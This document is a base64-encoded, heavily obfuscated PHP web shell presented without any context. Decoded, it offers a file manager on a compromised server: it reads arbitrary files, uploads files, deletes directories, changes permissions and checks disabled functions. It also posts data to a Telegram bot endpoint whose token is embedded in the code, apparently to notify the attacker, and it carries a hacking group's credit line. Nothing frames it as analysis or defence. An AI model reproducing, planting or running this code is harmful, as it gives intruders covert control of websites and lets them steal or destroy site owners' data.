HJldHVybiAkaW5nZm87IH0gZ290byBkZk9nSTsgWkZKbkw6IGlmICgkcmVzdWx0KSB7ICRyZXNwb25zZSA9IGpzb25fZGVjb2RlKCRyZXN1bHQsIHRydWUpOyBpZiAoJHJlc3BvbnNlWyJcMTU3XHg2YiJdKSB7IGVjaG8gIlw0MCI7IH0gZWxzZSB7IGVjaG8gIlx4NDVcMTYyXDE2MlwxNTdceDcyXHgzYVx4MjAiIC4gJHJlc3BvbnNlWyJceDY0XDE0NVwxNjNcMTQzXHg3MlwxNTFceDcwXHg3NFwxNTFceDZmXHg2ZSJdOyB9IH0gZWxzZSB7IGVjaG8gIlw0MCI7IH0gZ290byBYZzVscTsgaVlyNjI6IGZvcmVhY2ggKCRsb2thc2lueWEgYXMgJGZpbGUpIHsgaWYgKCFpc19maWxlKCJ7JGxva2FzaX1cNTd7JGZpbGV9IikpIHsgY29udGludWU7IH0gJHNpemUgPSBmaWxlc2l6ZSgieyRsb2thc2l9XDU3eyRmaWxlfSIpIC8gMTAyNDsgJHNpemUgPSByb3VuZCgkc2l6ZSwgMyk7IGlmICgkc2l6ZSA+PSAxMDI0KSB7ICRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0LCAyKSAuICJcNDBceDRkXDEwMiI7IH0gZWxzZSB7ICRzaXplID0gJHNpemUgLiAiXDQwXHg0YlwxMDIiOyB9IGVjaG8gIlw3NFx4NzRceDcyXHgzZVwxMlw3NFwxNjRceDY0XHgzZVx4M2NcMTQxXHgyMFx4NjhceDcyXDE0NVwxNDZcNzVcNDJceDNmXHg0OFx4NDNcNDZcMTQ2XHg2OVx4NmNceDY1XHg2Y1wxNTdcMTQzXHgzZHskbG9rYXNpfVx4MmZ7JGZpbGV9XDQ2XDE2MFwxNDFceDc0XDE1MFx4M2R7JGxva2FzaX1ceDIyXDc2eyRmaWxlfVw3NFx4MmZcMTQxXHgzZVx4M2NceDJmXHg3NFwxNDRcNzZcMTJcNzRcMTY0XDE0NFw3Nlx4M2NcMTQzXHg2NVwxNTZcMTY0XDE0NVwxNjJceDNlIiAuICRzaXplIC4gIlw3NFw1N1wxNDNcMTQ1XHg2ZVwxNjRceDY1XDE2Mlw3Nlx4M2NceDJmXDE2NFwxNDRcNzZceGFceDNjXHg3NFwxNDRcNzZcNzRceDYzXHg2NVx4NmVcMTY0XHg2NVx4NzJcNzYiOyBpZiAoaXNfd3JpdGFibGUoInskbG9rYXNpfVw1N3skZmlsZX0iKSkgeyBlY2hvICJceDNjXDE0Nlx4NmZceDZlXHg3NFw0MFwxNDNcMTU3XHg2Y1x4NmZcMTYyXHgzZFw0MlwxNDdceDcyXDE0NVx4NjVceDZlXHgyMlw3NiI7IH0gZWxzZWlmICghaXNfcmVhZGFibGUoInskbG9rYXNpfVw1N3skZmlsZX0iKSkgeyBlY2hvICJceDNjXDE0Nlx4NmZcMTU2XHg3NFx4MjBceDYzXHg2Zlx4NmNceDZmXDE2Mlx4M2RcNDJceDcyXHg2NVwxNDRceDIyXDc2IjsgfSBlY2hvIHN0YXR1c255YSgieyRsb2thc2l9XDU3eyRmaWxlfSIpOyBpZiAoaXNfd3JpdGFibGUoInskbG9rYXNpfVx4MmZ7JGZpbGV9IikgfHwgIWlzX3JlYWRhYmxlKCJ7JGxva2FzaX1cNTd7JGZpbGV9IikpIHsgZWNobyAiXDc0XHgyZlx4NjZceDZmXDE1NlwxNjRceDNlIjsgfSBlY2hvICJceDNjXDU3XDE0M1wxNDVceDZlXDE2NFwxNDVceDcyXHgzZVw3NFx4MmZceDc0XDE0NFw3Nlx4M2NceDc0XHg2NFw3Nlx4M2NceDYzXHg2NVwxNTZcMTY0XDE0NVx4NzJceDNlXDEyXHgzY1wxNDZcMTU3XHg3Mlx4NmRcNDBcMTU1XHg2NVwxNjRceDY4XDE1N1x4NjRcNzVcNDJceDcwXDE1N1x4NzNceDc0XDQyXDQwXDE0MVx4NjNcMTY0XDE1MVx4NmZceDZlXHgzZFx4MjJceDNmXHg0OFwxMDNcNDZceDcwXHg2OVwxNTRceDY5XHg2OFwxNDFceDZlXDQ2XDE2MFwxNDFceDc0XHg2OFw3NXskbG9rYXNpfVx4MjJceDNlXDEyXDc0XDE2M1wxNDVceDZjXHg2NVx4NjNcMTY0XHgyMFwxNTZcMTQxXDE1NVwxNDVceDNkXHgyMlx4NzBcMTUxXHg2Y1wxNTFceDY4XHgyMlw3NlwxMlx4M2NceDZmXDE2MFwxNjRceDY5XDE1N1wxNTZceDIwXDE2NlwxNDFcMTU0XDE2NVx4NjVcNzVceDIyXHgyMlx4M2VcNzRcNTdceDZmXHg3MFx4NzRceDY5XDE1N1x4NmVcNzZcMTJceDNjXHg2ZlwxNjBceDc0XHg2OVx4NmZcMTU2XHgyMFx4NzZcMTQxXHg2Y1wxNjVceDY1XDc1XHgyMlx4NjhcMTQxXHg3MFx4NzVcMTYzXHgyMlw3NlwxMDRcMTQ1XDE1NFx4NjVcMTY0XDE0NVx4M2NceDJmXHg2ZlwxNjBcMTY0XHg2OVwxNTdceDZlXHgzZVwxMlw3NFwxNTdcMTYwXHg3NFwxNTFceDZmXDE1Nlx4MjBcMTY2XDE0MVwxNTRceDc1XDE0NVx4M2RcNDJcMTY1XDE0MlwxNDFceDY4XHg2ZFx4NmZcMTQ0XDQyXDc2XHg0M1wxNTBceDZkXDYwXHg2NFw3NFw1N1x4NmZcMTYwXDE2NFwxNTFceDZmXHg2ZVw3Nlx4YVx4M2NcMTU3XHg3MFx4NzRcMTUxXHg2Zlx4NmVcNDBcMTY2XHg2MVx4NmNceDc1XDE0NVw3NVw0Mlx4NjdceDYxXDE1NlwxNjRcMTUxXHg2ZVwxNDFcMTU1XHg2MVw0Mlw3NlwxMjJceDY1XDE1NlwxNDFceDZkXDE0NVx4M2NcNTdcMTU3XDE2MFx4NzRceDY5XDE1N1wxNTZceDNlXDEyXHgzY1x4NmZceDcwXDE2NFx4NjlcMTU3XDE1Nlw0MFx4NzZceDYxXHg2Y1x4NzVceDY1XHgzZFx4MjJceDY1XDE0NFwxNTFceDc0XDQyXDc2XHg0NVx4NjRceDY5XHg3NFx4M2NcNTdcMTU3XHg3MFx4NzRceDY5XHg2ZlwxNTZceDNlXDEyXDc0XDU3XDE2M1wxNDVceDZjXDE0NVx4NjNcMTY0XDc2XDEyXHgzY1x4NjlceDZlXHg3MFwxNjVceDc0XDQwXHg3NFx4NzlcMTYwXDE0NVx4M2RceDIyXDE1MFx4NjlceDY0XDE0NFx4NjVcMTU2XHgyMlx4MjBceDZlXHg2MVx4NmRcMTQ1XHgzZFw0MlwxNjRcMTcxXHg3MFx4NjVcNDJceDIwXDE2NlwxNDFcMTU0XDE2NVx4NjVcNzVceDIyXHg2Nlx4NjlcMTU0XDE0NVx4MjJceDNlXHhhXDc0XDE1MVx4NmVceDcwXHg3NVwxNjRceDIwXDE2NFwxNzFceDcwXDE0NVx4M2RceDIyXDE1MFwxNTFcMTQ0XDE0NFx4NjVcMTU2XHgyMlx4MjBceDZlXDE0MVx4NmRceDY1XDc1XDQyXHg2ZVx4NjFceDZkXHg2NVw0Mlw0MFwxNjZcMTQxXHg2Y1x4NzVcMTQ1XHgzZFw0MnskZmlsZX1ceDIyXDc2XDEyXHgzY1wxNTFcMTU2XDE2MFwxNjVceDc0XDQwXDE2NFwxNzFceDcwXHg2NVx4M2RcNDJcMTUwXDE1MVx4NjRcMTQ0XHg2NVwxNTZceDIyXDQwXDE1NlwxNDFcMTU1XHg2NVx4M2RceDIyXHg3MFx4NjFcMTY0XHg2OFx4MjJceDIwXDE2NlwxNDFceDZjXHg3NVwxNDVceDNkXDQyeyRsb2thc2l9XHgyZnskZmlsZX1cNDJcNzZcMTJcNzRcMTUxXHg2ZVx4NzBceDc1XHg3NFw0MFx4NzRcMTcxXHg3MFwxNDVcNzVceDIyXHg3M1wxNjVceDYyXDE1NVx4NjlceDc0XDQyXHgyMFx4NjNceDZjXHg2MVwxNjNceDczXDc1XHgyMlwxNDdceDYxXHg3M1w0Mlx4MjBceDc2XHg2MVx4NmNceDc1XHg2NVx4M2RceDIyXHgzZVx4MjJceDIwXDU3XDc2XDEyXHgzY1x4MmZcMTQzXDE0NVwxNTZcMTY0XHg2NVx4NzJceDNlXHgzY1w1N1wxNDZceDZmXHg3MlwxNTVcNzZceDNjXDU3XHg3NFx4NjRceDNlXHhhXHgzY1w1N1x4NzRceDcyXDc2IjsgfSBnb3RvIFR3bE13OyBmb3VyMzogaWYgKCFpc3NldCgkX0dFVFsiXDExMFx4NDMiXSkpIHsgZGllOyB9IGdvdG8gREFINF87IGh2elFFOiBpZiAoaXNzZXQoJF9HRVRbIlwxNjBceDYxXHg3NFx4NjgiXSkpIHsgJGxva2FzaSA9ICRfR0VUWyJcMTYwXDE0MVx4NzRcMTUwIl07ICRsb2tkdWEgPSAkX0dFVFsiXDE2MFx4NjFceDc0XHg2OCJdOyB9IGVsc2UgeyAkbG9rYXNpID0gZ2V0Y3dkKCk7ICRsb2tkdWEgPSBnZXRjd2QoKTsgfSBnb3RvIHFkVENpOyBMYTRvbTogaWYgKGVtcHR5KCRkaXNmdW5jKSkgeyAkZGlzZiA9ICJcNzRcMTQ2XDE1N1wxNTZcMTY0XDQwXHg2M1x4NmZceDZjXHg2Zlx4NzJcNzVceDI3XHg2N1wxNjJcMTQ1XHg2NVwxNTZceDI3XDc2XHg0ZVwxMTdceDRlXDEwNVx4M2NcNTdceDY2XHg2ZlwxNTZcMTY0XDc2IjsgfSBlbHNlIHsgJGRpc2YgPSAiXHgzY1x4NjZcMTU3XHg2ZVwxNjRceDIwXDE0M1x4NmZceDZjXHg2ZlwxNjJcNzVcNDdceDcyXHg2NVx4NjRceDI3XDc2IiAuICRkaXNmdW5jIC4gIlw3NFx4MmZceDY2XHg2Zlx4NmVceDc0XDc2IjsgfSBnb3RvIGp5QlQ4OyB6RFVQOTogJGFwaVVybCA9ICJcMTUwXDE2NFx4NzRceDcwXHg3M1x4M2FceDJmXHgyZlwxNDFceDcwXHg2OVx4MmVceDc0XHg2NVx4NmNcMTQ1XDE0N1wxNjJceDYxXHg2ZFw1NlwxNTdcMTYyXHg2N1w1N1wxNDJcMTU3XHg3NFw2Nlw2N1w3MVw2MFw2MVw2N1x4MzhceDM0XHgzNFx4MzdcNzJcMTAxXDEwMVx4NDVceDVmXHg2OFx4NTZcNjFcMTEzXHg2ZFwxNjRcMTUyXDE1N1wxNzJceDc4XHg3MFx4NjJcMTMwXHg2NlwxNDJcMTA0XDEzN1x4NGJcMTMxXDE2Nlx4NjNcMTE0XDEyNFwxNzBcMTQzXDE1N1wxNTZceDZmXDE0NlwxNTVceDc3XDU3XDE2M1wxNDVcMTU2XHg2NFx4NGRceDY1XHg3M1x4NzNcMTQxXDE0N1wxNDUiOyBnb3RvIGI4MVg2OyB5VEgybTogZWNobyAiXHgzY1x4MmZcMTY0XDE0MVx4NjJcMTU0XHg2NVw3Nlw3NFwxNDJceDcyXHgzZSI7IGdvdG8gSGh6TDg7IGJBc1VmOiBmb3JlYWNoICgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpIHsgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7IH0gZ290byBlTzlnOTsgVHdsTXc6IGVjaG8gIlw3NFw1N1x4NzRcMTYyXDc2XDc0XHgyZlwxNjRcMTQ0XHgzZVx4M2NcNTdceDc0XDE0MVx4NjJceDZjXDE0NVx4M2VceDNjXHgyZlwxNjRcMTQxXDE0MlwxNTRcMTQ1XDc2IjsgZ290byBUaUlvQzsgaXVHRjc6IGN1cmxfY2xvc2UoJGNoKTsgZ290byBaRkpuTDsgWGc1bHE6IHNldF90aW1lX2xpbWl0KDApOyBnb3RvIGI1aExFOyBscDB3aTogZWNobyAiXDEyNVwxNjBceDZjXHg2Zlx4NjFceDY0XDQwXHg0Nlx4NjlcMTU0XDE0NVx4MjBcNzJceDIwIjsgZ290byBuMlkxXzsgR25uTDM6ICRsb2thc2lzID0gZXhwbG9kZSgiXHgyZiIsICRsb2thc2kpOyBnb3RvIFpRamlwOyBKS0FZYTogJGNoID0gY3VybF9pbml0KCRhcGlVcmwpOyBnb3RvIHpfdk5QOyBPWV8zdzogZWNobyAiXDc0XDE2NFx4NzJceDIwXDE0M1wxNTRceDYxXHg3M1x4NzNcNzVcNDJceDY2XDE1MVx4NzJcMTYzXDE2NFw0Mlw3Nlx4M2NceDc0XDE0NFw3Nlw3NFw1N1x4NzRceDY0XDc2XHgzY1x4NzRcMTQ0XHgzZVw3NFx4MmZcMTY0XDE0NFx4M2VcNzRcMTY0XHg2NFx4M2VcNzRcNTdcMTY0XHg2NFw3Nlw3NFwxNjRcMTQ0XHgzZVw3NFw1N1wxNjRceDY0XHgzZVx4M2NceDJmXHg3NFx4NzJceDNlIjsgZ290byBpWXI2MjsgbjJZMV86IGVjaG8gIlx4M2NcMTQ2XDE1N1x4NzJcMTU1XHgyMFwxNDVcMTU2XDE0M1x4NzRcMTcxXHg3MFwxNDVcNzVceDIyXDE1NVwxNjVceDZjXHg3NFwxNTFcMTYwXDE0MVwxNjJcMTY0XDU3XDE0NlwxNTdceDcyXHg2ZFx4MmRcMTQ0XDE0MVx4NzRceDYxXHgyMlx4MjBcMTU1XHg2NVwxNjRceDY4XDE1N1wxNDRceDNkXDQyXDE2MFx4NmZcMTYzXDE2NFx4MjJcNzZcMTJcNzRcMTUxXDE1NlwxNjBceDc1XDE2NFw0MFx4NzRceDc5XDE2MFwxNDVceDNkXDQyXDE2MlwxNDFceDY0XDE1MVx4NmZceDIyXDQwXHg3NlwxNDFceDZjXDE2NVx4NjVcNzVceDIyXDYxXDQyXDQwXHg2ZVx4NjFceDZkXHg2NVx4M2RceDIyXHg2NFx4NjlceDcyXDE1NlwxNzFcMTQxXDQyXHgyMFx4NjNceDY4XHg2NVx4NjNceDZiXDE0NVwxNDRcNzZcMTQzXDE2NVwxNjJceDcyXHg2NVwxNTZcMTY0XHg1ZlwxNDRceDY5XDE2Mlw0MFx4NWJcNDAiIC4gY2VrZGlyKCkgLiAiXDQwXHg1ZFwxMlx4M2NceDY5XHg2ZVx4NzBceDc1XDE2NFx4MjBcMTY0XHg3OVx4NzBcMTQ1XDc1XDQyXDE2Mlx4NjFcMTQ0XDE1MVx4NmZceDIyXDQwXDE2Nlx4NjFcMTU0XHg3NVwxNDVcNzVcNDJcNjJceDIyXDQwXHg2ZVwxNDFceDZkXDE0NVx4M2RceDIyXHg2NFx4NjlcMTYyXDE1NlwxNzFceDYxXDQyXHgyMFx4M2VcMTQ0XDE1N1wxNDNcMTY1XHg2ZFwxNDVceDZlXDE2NFx4NWZceDcyXDE1N1wxNTdceDc0XHgyMFwxMzNceDIwIiAuIGNla3Jvb3QoKSAuICJcNDBcMTM1XHhhXDc0XDE0Mlx4NzJceDNlXHhhXHgzY1wxNTFcMTU2XHg3MFwxNjVceDc0XDQwXHg3NFx4NzlceDcwXDE0NVx4M2RcNDJceDY4XDE1MVwxNDRceDY0XDE0NVwxNTZceDIyXDQwXDE1NlwxNDFcMTU1XHg2NVx4M2RceDIyXHg3NVwxNjBcMTY3XHg2YlwxNjdcMTUzXHgyMlw0MFx4NzZcMTQxXHg2Y1x4NzVcMTQ1XDc1XHgyMlx4NjFceDcwXDE1NFx4NmZceDY0XHgyMlx4M2VcMTJcNzRcMTUxXDE1NlwxNjBceDc1XDE2NFx4MjBcMTY0XHg3OVx4NzBcMTQ1XHgzZFw0Mlx4NjZcMTUxXDE1NFx4NjVceDIyXDQwXHg2ZVwxNDFceDZkXHg2NVx4M2RceDIyXHg2MlwxNDVceDcyXDE1M1x4NjFceDczXDQyXDc2XDc0XDE1MVwxNTZcMTYwXHg3NVx4NzRcNDBceDc0XDE3MVwxNjBcMTQ1XHgzZFx4MjJcMTYzXDE2NVwxNDJceDZkXDE1MVwxNjRcNDJcNDBcMTU2XDE0MVx4NmRcMTQ1XHgzZFx4MjJcMTQyXDE0NVwxNjJceDZiXDE0MVwxNjNcMTU2XHg3OVx4NjFcNDJceDIwXHg3NlwxNDFceDZjXDE2NVx4NjVceDNkXDQyXDEyNVx4NzBcMTU0XDE1N1wxNDFceDY0XDQyXDQwXHg2M1x4NmNceDYxXDE2M1wxNjNceDNkXDQyXHg3NVwxNjBcNDJcNDBceDczXDE2NFwxNzFcMTU0XHg2NVx4M2RceDIyXHg2M1x4NzVcMTYyXHg3M1x4NmZceDcyXHgzYVw0MFx4NzBcMTU3XHg2OVx4NmVceDc0XHg2NVx4NzJcNzNcNDBceDYyXDE1N1x4NzJcMTQ0XDE0NVx4NzJcNTVcMTQzXDE1N1wxNTRcMTU3XDE2Mlx4M2FceDIwXDQzXHg2NlwxNDZcMTQ2XHgyMlx4M2VceDNjXHg2Mlx4NzJcNzZceGFceDNjXHg2OVwxNTZceDcwXHg3NVx4NzRcNDBceDc0XHg3OVx4NzBceDY1XDc1XDQyXHg3NFwxNDVceDc4XHg3NFw0Mlw0MFwxNTZcMTQxXHg2ZFx4NjVceDNkXHgyMlwxNDRcMTQxXHg3MlwxNTFcMTU0XHg2OVx4NmVceDZiXHgyMlx4MjBcMTQzXDE1NFwxNDFceDczXDE2M1x4M2RcNDJcMTY1XHg3MFw0Mlw0MFwxNjBceDZjXHg2MVx4NjNceDY1XDE1MFwxNTdcMTU0XHg2NFwxNDVceDcyXDc1XHgyMlwxMTRceDY5XHg2ZVx4NmJcNDBcMTA2XDE1MVx4NmNceDY1XDQyXDc2XDQ2XHg2ZVwxNDJceDczXHg3MFx4M2JcNzRcMTUxXDE1Nlx4NzBcMTY1XDE2NFx4MjBcMTY0XHg3OVx4NzBceDY1XHgzZFw0MlwxNjRceDY1XHg3OFwxNjRcNDJcNDBcMTU2XDE0MVx4NmRceDY1XDc1XDQyXDE1NlwxNDFceDZkXDE0MVwxNTRceDY5XHg2ZVx4NmJceDIyXDQwXHg2M1wxNTRceDYxXDE2M1x4NzNceDNkXHgyMlx4NzVcMTYwXHgyMlw0MFx4NzNceDY5XDE3Mlx4NjVcNzVcNDJcNjVcNDJcNDBcMTYwXHg2Y1wxNDFceDYzXHg2NVx4NjhceDZmXDE1NFx4NjRceDY1XHg3Mlw3NVx4MjJceDY2XHg2OVx4NmNcMTQ1XDU2XDE2NFx4NzhceDc0XDQyXHgzZVx4M2NceDY5XHg2ZVx4NzBceDc1XDE2NFx4MjBcMTY0XHg3OVwxNjBceDY1XDc1XDQyXHg3M1wxNjVcMTQyXHg2ZFwxNTFceDc0XDQyXDQwXDE1Nlx4NjFcMTU1XDE0NVw3NVw0Mlx4NmNcMTUxXHg2ZVwxNTNceDZlXDE3MVx4NjFceDIyXDQwXDE0M1x4NmNceDYxXDE2M1x4NzNceDNkXDQyXHg3NVwxNjBcNDJcNDBcMTY2XDE0MVwxNTRceDc1XDE0NVx4M2RcNDJcMTI1XDE2MFwxNTRcMTU3XDE0MVx4NjRcNDJceDIwXHg3M1x4NzRceDc5XHg2Y1x4NjVcNzVcNDJceDYzXHg3NVwxNjJcMTYzXDE1N1x4NzJceDNhXDQwXDE2MFx4NmZceDY5XHg2ZVwxNjRcMTQ1XHg3Mlx4M2JcNDBceDYyXDE1N1x4NzJcMTQ0XDE0NVx4NzJcNTVcMTQzXHg2Zlx4NmNceDZmXHg3Mlx4M2FceDIwXDQzXDE0NlwxNDZceDY2XHgyMlw3Nlx4YVx4M2NceDJmXHg2M1x4NjVcMTU2XDE2NFx4NjVceDcyXHgzZVwxMlx4M2NceDJmXDE0Nlx4NmZceDcyXHg2ZFw3NiI7IGdvdG8geVRIMm07IHFkVENpOiAkbG9rYXNpID0gc3RyX3JlcGxhY2UoIlx4NWMiLCAiXDU3IiwgJGxva2FzaSk7IGdvdG8gR25uTDM7IG9QS3hMOiAkZGlzZnVuYyA9IEBpbmlfZ2V0KCJcMTQ0XDE1MVx4NzNcMTQxXHg2MlwxNTRcMTQ1XHg1Zlx4NjZcMTY1XHg2ZVx4NjNcMTY0XHg2OVx4NmZcMTU2XHg3MyIpOyBnb3RvIExhNG9tOyBqeUJUODogZnVuY3Rpb24gYXV0aG9yKCkgeyBlY2hvICJceDNjXHg2M1wxNDVcMTU2XHg3NFwxNDVceDcyXHgzZVx4M2NceDYyXHg3Mlw3Nlx4NDNcMTE3XDEyMFwxMzFcMTIyXDExMVx4NDdceDQ4XDEyNFw0MFw0NlwxNDNceDZmXDE2MFx4NzlcNDBcNzRceDYxXDQwXDE2NFwxNDFceDcyXDE0N1wxNDVceDc0XHgzZFw0N1wxMzdceDYyXHg2Y1x4NjFcMTU2XHg2Ylw0N1w0MFx4NjhcMTYyXDE0NVwxNDZceDNkXHgyN1x4NjhcMTY0XHg3NFx4NzBcMTYzXHgzYVw1N1w1N1wxNTBceDYxXDE0M1wxNTNcMTU2XHg2M1x4NmZcMTYyXDE2MFw1NlwxNTFcMTQ0XHgyZlx4MjdceDNlXDExMFwxMDFcMTAzXHg0YlwxMTZcMTAzXDExN1x4NTJcMTIwXHgyZVx4NDlceDQ0XDc0XHgyZlx4NjFcNzZceDNjXDU3XDE0M1wxNDVcMTU2XHg3NFx4NjVcMTYyXHgzZSI7IGRpZTsgfSBnb3RvIHNwRHZWOyB0WmJBNzogZnVuY3Rpb24geHJtZGlyKCRkaXIpIHsgJGl0ZW1zID0gc2NhbmRpcigkZGlyKTsgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7IGlmICgkaXRlbSA9PT0gIlx4MmUiIHx8ICRpdGVtID09PSAiXHgyZVx4MmUiKSB7IGNvbnRpbnVlOyB9ICRwYXRoID0gJGRpciAuICJceDJmIiAuICRpdGVtOyBpZiAoaXNfZGlyKCRwYXRoKSkgeyB4cm1kaXIoJHBhdGgpOyB9IGVsc2UgeyB1bmxpbmsoJHBhdGgpOyB9IH0gcm1kaXIoJGRpcik7IH0gZ290byBDUnN0azsgZ3ZRdl86IGVjaG8gIlwxMDRceDY5XHg3MlwxNDVceDYzXHg3NFx4NmZceDcyXDE3MVw0MFw3Mlw0MFw0NlwxNTZcMTQyXHg3M1x4NzBcNzMiOyBnb3RvIGJBc1VmOyBnMEE3SzogJG9wdGlvbnMgPSBhcnJheSgiXDE1MFx4NzRcMTY0XDE2MCIgPT4gYXJyYXkoIlx4NmRceDY1XDE2NFx4NjhcMTU3XHg2NCIgPT4gIlx4NTBcMTE3XHg1M1x4NTQiLCAiXDE1MFwxNDVcMTQxXHg2NFx4NjVceDcyIiA9PiAiXHg0M1wxNTdceDZlXDE2NFx4NjVcMTU2XDE2NFx4MmRcMTY0XDE3MVwxNjBceDY1XDcyXHgyMFwxNDFceDcwXHg3MFx4NmNceDY5XHg2M1wxNDFcMTY0XHg2OVx4NmZcMTU2XHgyZlwxNzBcNTVcMTY3XDE2N1wxNjdceDJkXHg2Nlx4NmZcMTYyXHg2ZFx4MmRceDc1XDE2Mlx4NmNceDY1XHg2ZVwxNDNcMTU3XDE0NFx4NjVceDY0IiwgIlwxNDNceDZmXDE1Nlx4NzRceDY1XDE1NlwxNjQiID0+IGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpKSk7IGdvdG8gc01wd1o7IHBSM21lOiBlY2hvICJceDQ0XDE1MVwxNjNceDYxXDE0Mlx4NmNcMTQ1XHgyMFwxMDZcMTY1XHg2ZVx4NjNcMTY0XHg2OVx4NmZcMTU2XHgyMFx4M2FceDIwIiAuICRkaXNmIC4gIlx4M2NceDJmXHg2NlwxNTdceDZlXDE2NFx4M2VcNzRceDYyXDE2Mlx4M2UiOyBnb3RvIGd2UXZfOyBIaHpMODogaWYgKGlzc2V0KCRfR0VUWyJceDY2XDE1MVx4NmNcMTQ1XDE1NFwxNTdcMTQzIl0pKSB7IGVjaG8gIlw3NFwxNjRceDcyXDc2XDc0XDE2NFx4NjRcNzZcMTAzXHg3NVx4NzJcMTYyXHg2NVwxNTZceDc0XDQwXHg0NlwxNTFcMTU0XHg2NVx4MjBceDNhXDQwIiAuICRfR0VUWyJceDY2XHg2OVwxNTRcMTQ1XDE1NFwxNTdcMTQzIl07IGVjaG8gIlx4M2NcNTdcMTY0XHg3Mlx4M2VcNzRcNTdceDc0XDE0NFw3Nlw3NFx4MmZceDc0XHg2MVwxNDJcMTU0XDE0NVw3Nlx4M2NceDYyXHg3Mlw1N1w3NiI7IGVjaG8gIlw3NFx4NzBcMTYyXDE0NVw3NiIgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWyJcMTQ2XHg2OVwxNTRcMTQ1XHg2Y1x4NmZcMTQzIl0pKSAuICJceDNjXDU3XDE2MFwxNjJceDY1XDc2IjsgYXV0aG9yKCk7IH0gZWxzZWlmIChpc3NldCgkX0dFVFsiXDE2MFwxNTFcMTU0XHg2OVx4NjhceDYxXHg2ZSJdKSAmJiAkX1BPU1RbIlwxNjBceDY5XHg2Y1x4NjlceDY4Il0gPT0gIlx4NjhcMTQxXDE2MFwxNjVceDczIikgeyBpZiAoaXNfZGlyKCRfUE9TVFsiXDE2MFx4NjFceDc0XDE1MCJdKSkgeyB4cm1kaXIoJF9QT1NUWyJceDcwXDE0MVwxNjRceDY4Il0pOyBpZiAoZmlsZV9leGlzdHMoJF9QT1NUWyJcMTYwXDE0MVwxNjRceDY4Il0pKSB7IHJlZCgiXDEwNlwxNDFceDY5XDE1NFx4NjVceDY0XHgyMFx4NzRceDZmXDQwXHg2NFx4NjVceDZjXDE0NVx4NzRcMTQ1XHgyMFwxMDRceDY5XDE2MlwxNDVceDYzXHg3NFwxNTdceDcyXHg3OVx4MjBceDIxIik7IH0gZWxzZSB7IGdyZWVuKCJcMTA0XDE0NVwxNTRceDY1XHg3NFwxNDVceDIwXHg0NFwxNTFceDcyXDE0NVwxNDNcMTY0XDE1N1wxNjJcMTcxXDQwXHg1M1wxNjVceDYzXDE0M1x4NjVceDczXHg3M1x4MjBcNDEiKTsgZWNobyAiXDE2M1x4NzRceDcyXHg2OVwxNTZceDY3IjsgfSB9IGVsc2VpZiAoaXNfZmlsZSgkX1BPU1RbIlx4NzBcMTQxXHg3NFx4NjgiXSkpIHsgQHVubGluaygkX1BPU1RbIlwxNjBceDYxXDE2NFx4NjgiXSk7IGlmIChmaWxlX2V4aXN0cygkX1BPU1RbIlx4NzBceDYxXHg3NFx4NjgiXSkpIHsgcmVkKCJcMTA2XDE0MVwxNTFcMTU0XDE0NVwxNDRceDIwXDE2NFx4NmZceDIwXDEwNFx4NjVcMTU0XHg2NVwxNjRceDY1XDQwXDEwNlwxNTFceDZjXHg2NVx4MjBcNDEiKTsgfSBlbHNlIHsgZ3JlZW4oIlwxMDRcMTQ1XHg2Y1wxNDVcMTY0XHg2NVw0MFx4NDZceDY5XHg2Y1x4NjVceDIwXDEyM1wxNjVceDYzXDE0M1x4NjVceDczXHg3M1w0MFw0MSIpOyB9IH0gfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyJceDcwXDE1MVx4NmNceDY5XDE1MFx4NjFceDZlIl0pICYmICRfUE9TVFsiXDE2MFwxNTFcMTU0XHg2OVwxNTAiXSA9PSAiXDE2NVx4NjJcMTQxXHg2OFx4NmRceDZmXDE0NCIpIHsgZWNobyAiXHgzY1wxNDNcMTQ1XDE1Nlx4NzRcMTQ1XDE2Mlw3NiIgLiAkX1BPU1RbIlx4NzBcMTQxXDE2NFwxNTAiXSAuICJcNzRceDYyXDE2Mlx4M2UiOyBlY2hvICJcNzRceDY2XHg2ZlwxNjJceDZkXHgyMFwxNTVcMTQ1XDE2NFwxNTBcMTU3XHg2NFw3NVw0MlwxNjBceDZmXHg3M1x4NzRcNDJceDNlXDEyXDExXDEyMFwxNDVceDcyXHg2ZFwxNTFceDczXHg3M1x4NjlcMTU3XDE1Nlw0MFx4M2FceDIwXHgzY1x4NjlcMTU2XHg3MFwxNjVcMTY0XHgyMFwxNTZcMTQxXDE1NVwxNDVceDNkXHgyMlwxNjBceDY1XDE2Mlx4NmRceDIyXDQwXHg3NFx4NzlcMTYwXHg2NVw3NVx4MjJceDc0XHg2NVx4NzhceDc0XDQyXHgyMFx4NjNceDZjXDE0MVx4NzNcMTYzXDc1XDQyXDE2NVx4NzBceDIyXDQwXDE2M1x4NjlcMTcyXDE0NVx4M2RceDIyXDY0XHgyMlw0MFwxNjZcMTQxXHg2Y1x4NzVcMTQ1XDc1XHgyMiIgLiBzdWJzdHIoc3ByaW50ZigiXDQ1XDE1NyIsIGZpbGVwZXJtcygkX1BPU1RbIlx4NzBcMTQxXHg3NFx4NjgiXSkpLCAtNCkgLiAiXHgyMlw0MFx4MmZceDNlXHhhXDExXDc0XDE1MVwxNTZceDcwXHg3NVx4NzRcNDBcMTY0XHg3OVwxNjBcMTQ1XHgzZFx4MjJceDY4XDE1MVwxNDRceDY0XDE0NVx4NmVcNDJceDIwXHg2ZVwxNDFceDZkXDE0NVx4M2RcNDJcMTYwXHg2MVx4NzRcMTUwXHgyMlx4MjBcMTY2XDE0MVwxNTRceDc1XDE0NVx4M2RceDIyIiAuICRfUE9TVFsiXDE2MFx4NjFcMTY0XDE1MCJdIC4gIlw0Mlx4M2VcMTJceDlceDNjXDE1MVx4NmVcMTYwXHg3NVx4NzRceDIwXDE2NFwxNzFceDcwXDE0NVx4M2RcNDJcMTUwXHg2OVx4NjRceDY0XDE0NVwxNTZcNDJceDIwXDE1Nlx4NjFceDZkXHg2NVx4M2RceDIyXHg3MFx4NjlceDZjXHg2OVwxNTBcNDJceDIwXHg3NlwxNDFcMTU0XDE2NVx4NjVcNzVceDIyXDE2NVx4NjJcMTQxXHg2OFwxNTVceDZmXHg2NFx4MjJcNzZceGFcMTFcNzRcMTUxXDE1NlwxNjBcMTY1XHg3NFw0